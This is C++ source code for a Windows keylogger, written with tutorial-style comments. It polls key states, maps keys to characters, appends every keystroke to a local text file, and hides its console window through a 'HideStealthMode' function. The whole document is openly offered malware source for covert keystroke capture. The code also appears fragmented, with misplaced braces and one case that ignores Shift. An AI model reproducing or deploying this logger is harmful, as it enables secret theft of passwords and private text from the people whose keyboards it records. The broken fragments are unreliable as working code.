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// The #include calls specific functions that are built in, below I called 4 libraries.
//iostream contains input and output functionality
#include <iostream>
#include <Windows.h>
#include <Winuser.h>
#include <fstream>

// This keylogger uses the namespace standard
using namespace std;

//void is used to show the absence of a type, I only declared 2 functions
void HideStealthMode();
void LogStart();

// the function of main() holds the instruction for the keylogger, since this is
considered a simpler keylogger there are not many instructions.
int main() {
    //HideStealthMode is the function I used for the hidden window of my logger
    HideStealthMode();
    //LogStart is the function to hold the logger within a .txt
    LogStart();

    return 0;
}
//listed below are the arguments for the LogStart() function, these arguments are
checking to see which keys have been pressed on the keyboard.
//character k (for Key) is the local variable for the LogStart() function.
void LogStart() {
    char k;

    for (;;) {

        //Warning on the for loop because I have k<= 222 instead of k<222 (222
being the VK apostrophe key)
        for (k=8; k <=222; k++) {

            //USE Asynchronous state over synchronous state because it gets the
state now over buffer time in synchronous
            if (GetAsyncKeyState(k)==-32767) {

                //below is the output, writing to the file that I created
called 'CollectedLogs.txt', and then the output is appended to the file.
                ofstream write("CollectedLogs.txt", ios::app);

                if (((k > 64) && (k < 91) && !(GetAsyncKeyState(0x10))))
                {
                    k += 32;
                    write << k;
                    write.close();
                    break;
                }
            }
        }
    }
}
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else if ((k > 64) && (k < 91))
{
    write << k;
    write.close();
    break;
}

else {
    //switch is used to check multiple cases, consider how
    //the 1 and ! share the same key, this argument checks those.
    switch (k)
    {
        //48 in ASCII decimal is the 0 key
        case 48:
        {
            if (GetAsyncKeyState(0x10))
                write << "0";
            else
                write << "0";
        }
        break;

        //49 in ASCII decimal is the 1 key....this continues up
        case 49:
        {
            if (GetAsyncKeyState(0x10))
                write << "!";
            else
                write << "1";
        }
        break;

        case 50:
        {
            if (GetAsyncKeyState(0x10))
                write << "@";
            else
                write << "2";
        }
        break;

        case 51:
        {
            if (GetAsyncKeyState(0x10))
                write << "#";
            else
                write << "3";
        }
        break;

        case 52:

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{
    if (GetAsyncKeyState(0x10))
        write << "$";
    else
        write << "4";
}
break;

case 53:
{
    if (GetAsyncKeyState(0x10))
        write << "%";
    else
        write << "5";
}
break;

case 54:
{
    if (GetAsyncKeyState(0x10))
        write << "^";
    else
        write << "6";
}
break;

case 55:
{
    if (GetAsyncKeyState(0x10))
        write << "&";
    else
        write << "7";
}
break;

case 56:
{
    if (GetAsyncKeyState(0x10))
        write << "*";
    else
        write << "8";
}
break;

case 57:
{
    if (GetAsyncKeyState(0x10))
        write << "(";
    else
        write << "9";
}
break;
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//VK cases are the virtual keys
case VK_RETURN:
    write << " *Enter* ";
    break;

case VK_BACK:
    write << " *Backspace* ";
    break;

case VK_SPACE:
    write << " ";
    break;

case VK_SHIFT:
    write << " *Shift* ";
    break;

case VK_DELETE:
    write << " *Del* ";
    break;

case VK_TAB:
    write << " ";
    break;

case VK_CONTROL:
    write << " *CTRL* ";
    break;

case VK_MENU:
    write << " *ALT* ";
    break;

case VK_CAPITAL:
    write << " *CAPS LOCK* ";
    break;

//Numberpad virtual keys
case VK_NUMPAD0:
    write << "0";
    break;

case VK_NUMPAD1:
    write << "1";
    break;

case VK_NUMPAD2:
    write << "2";
    break;

case VK_NUMPAD3:
    write << "3";
    break;

case VK_NUMPAD4:
    write << "4";
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        break;

    case VK_NUMPAD5:
        write << "5";
        break;

    case VK_NUMPAD6:
        write << "6";
        break;

    case VK_NUMPAD7:
        write << "7";
        break;

    case VK_NUMPAD8:
        write << "8";
        break;

    case VK_NUMPAD9:
        write << "9";
        break;

    case VK_ESCAPE:
        write << "ESC";
        break;

    case VK_OEM_PERIOD:
        write << ".";
        break;

    default:
        write<<k;
    }
}
}
}
}
}

void HideStealthMode() {
    HWND stealth;
    AllocConsole();
    stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(stealth, 0);
}

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